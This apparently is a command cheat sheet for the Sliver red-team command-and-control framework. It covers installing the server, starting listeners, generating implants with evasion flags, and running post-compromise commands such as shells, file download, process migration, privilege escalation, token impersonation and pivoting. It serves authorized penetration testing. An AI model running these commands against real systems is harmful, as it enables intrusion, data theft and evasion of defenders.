Sliver is a modern, open-source cross-platform adversary emulation/red team framework designed as an alternative to Cobalt Strike. It provides advanced command and control capabilities with support for multiple platforms, evasive communications, and team-based operations.
⚠️ Warning: This tool is intended for authorized penetration testing and red team exercises only. Ensure you have proper authorization before using in any environment.
Installation
Pre-compiled Binaries (Recommended)
# Download latest release for Linux
curl -L https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux -o sliver-server
chmod +x sliver-server
# Download latest release for macOS
curl -L https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_macos -o sliver-server
chmod +x sliver-server
# Download latest release for Windows
# Download sliver-server_windows.exe from GitHub releases
Build from Source
# Install Go (version 1.19+)
git clone https://github.com/BishopFox/sliver.git
cd sliver
make
Docker Installation
# Pull official Docker image
docker pull bishopfox/sliver
# Run Sliver server in Docker
docker run -it -p 31337:31337 -p 8080:8080 bishopfox/sliver
Basic Usage
Starting Sliver Server
# Start the server (first run will generate certificates)
./sliver-server
# Start server with custom configuration
./sliver-server -c /path/to/config.json
# Start server in daemon mode
./sliver-server daemon
Client Connection
# Connect to local server
./sliver-client
# Connect to remote server
./sliver-client -c /path/to/client.cfg
# Generate new client configuration
./sliver-server operator --name username --lhost server-ip
Command Reference
Server Management
Command
Description
help
Display help information
version
Show version information
operators
List connected operators
kick-operator <name>
Disconnect an operator
armory
Access the Sliver armory (extensions)
Listener Management
Command
Description
mtls
Start mTLS listener
wg
Start WireGuard listener
http
Start HTTP listener
https
Start HTTPS listener
dns
Start DNS listener
jobs
List active listeners
jobs -k <id>
Kill a listener
Implant Generation
Command
Description
generate
Generate implant
generate --mtls <host:port>
Generate mTLS implant
generate --http <url>
Generate HTTP implant
generate --dns <domain>
Generate DNS implant
profiles
List implant profiles
profiles new <name>
Create new profile
Session Management
Command
Description
sessions
List active sessions
use <session-id>
Interact with session
background
Background current session
sessions -k <id>
Kill a session
sessions -K
Kill all sessions
Listener Setup
mTLS Listener (Recommended)
# Start mTLS listener on default port (8888)
mtls
# Start mTLS listener on custom port
mtls -l 443
# Start mTLS listener with custom interface
mtls -l 0.0.0.0:8888
# Start DNS listener
dns -d example.com
# Start DNS listener with custom nameserver
dns -d example.com -l 53
WireGuard Listener
# Start WireGuard listener
wg -l 53
# Start WireGuard listener with custom key port
wg -l 53 -x 1234
Implant Generation
Basic Implant Generation
# Generate Windows executable
generate --mtls 192.168.1.100:8888 --os windows --arch amd64 --format exe
# Generate Linux ELF binary
generate --mtls 192.168.1.100:8888 --os linux --arch amd64 --format elf
# Generate macOS binary
generate --mtls 192.168.1.100:8888 --os darwin --arch amd64 --format macho
Advanced Implant Options
# Generate with custom name and save location
generate --mtls 192.168.1.100:8888 --os windows --save /tmp/implant.exe --name MyImplant
# Generate with evasion features
generate --mtls 192.168.1.100:8888 --os windows --evasion --skip-symbols
# Generate shellcode
generate --mtls 192.168.1.100:8888 --os windows --format shellcode
# Generate shared library
generate --mtls 192.168.1.100:8888 --os linux --format shared
# Get system information
info
# Get current user
whoami
# Get current working directory
pwd
# List files and directories
ls
# Change directory
cd /path/to/directory
# Download file
download /remote/path/file.txt
# Upload file
upload /local/path/file.txt /remote/path/
Process Management
# List processes
ps
# Get current process info
getpid
# Migrate to another process
migrate <pid>
# Execute command
execute <command>
# Start interactive shell
shell
# Terminate process
terminate <pid>
Network Operations
# Get network interfaces
ifconfig
# Get network connections
netstat
# Port forward
portfwd add --bind 127.0.0.1:8080 --remote 192.168.1.10:80
# List port forwards
portfwd
# Remove port forward
portfwd rm --id <id>
# SOCKS proxy
socks5 start
# Stop SOCKS proxy
socks5 stop
Privilege Escalation
# Get current privileges
getprivs
# Attempt privilege escalation
getsystem
# Run as different user
runas -u username -p password <command>
# Impersonate token
impersonate <token-id>
# Revert to self
rev2self
# Share session with team
sessions -i <session-id> --shared
# Take control of shared session
use <session-id>
Troubleshooting
Common Issues
Connection Problems
# Check listener status
jobs
# Restart listener
jobs -k <listener-id>
mtls -l 8888
# Check firewall rules
# Ensure ports are open on server
Implant Detection
# Use evasion options
generate --mtls 192.168.1.100:8888 --os windows --evasion --skip-symbols --debug
# Try different communication protocols
generate --dns example.com --os windows
# Use staged payloads
generate stager --mtls 192.168.1.100:8888 --os windows
Performance Issues
# Adjust beacon interval
use <session-id>
reconfig --beacon-interval 60s
# Use compression
reconfig --compress
This cheat sheet provides a comprehensive reference for using Sliver C2 Framework. Always ensure you have proper authorization before using this tool in any environment.